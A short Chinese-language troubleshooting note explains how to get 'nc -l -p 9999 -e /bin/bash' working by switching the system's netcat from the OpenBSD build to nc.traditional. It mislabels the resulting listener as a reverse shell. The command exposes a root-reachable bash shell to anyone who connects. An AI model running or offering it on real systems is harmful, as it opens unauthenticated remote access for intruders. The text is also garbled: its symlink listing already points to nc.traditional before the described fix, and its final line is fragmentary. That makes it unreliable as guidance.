嘗試使用 nc -l -p 9999 -e /bin/bash 建立反彈 Shell 時,出現:
nc: invalid option -- 'e'
This is nc from the netcat-openbsd package. An alternative nc is available in the netcat-traditional package.
系統安裝的是 OpenBSD 版 nc(nc.openbsd),不支援 -e 選項。傳統版 nc.traditional 才支援 -e 執行指令。
which nc
# /bin/nc
ls -ld /bin/nc
# lrwxrwxrwx 1 root root 20 Oct 24 2012 /bin/nc -> /etc/alternatives/nc
ls -ld /etc/alternatives/nc
# lrwxrwxrwx 1 root root 19 Feb 13 10:03 /etc/alternatives/nc -> /bin/nc.traditional
實際測試:
/bin/nc.openbsd -l -p 9999 -e /bin/bash # 失敗
/bin/nc.traditional -l -p 9999 -e /bin/bash # 成功(等待連線)
sudo rm /etc/alternatives/nc && sudo ln -s /bin/nc.traditional /etc/alternatives/nc
修復後直接使用 nc -l -p 9999 -e /bin/bash 即可正常反彈 Shell。
update-alternatives --config nc 互動式切換。-e;安全敏感環境建議改用 socat 或 SSH 反向隧道。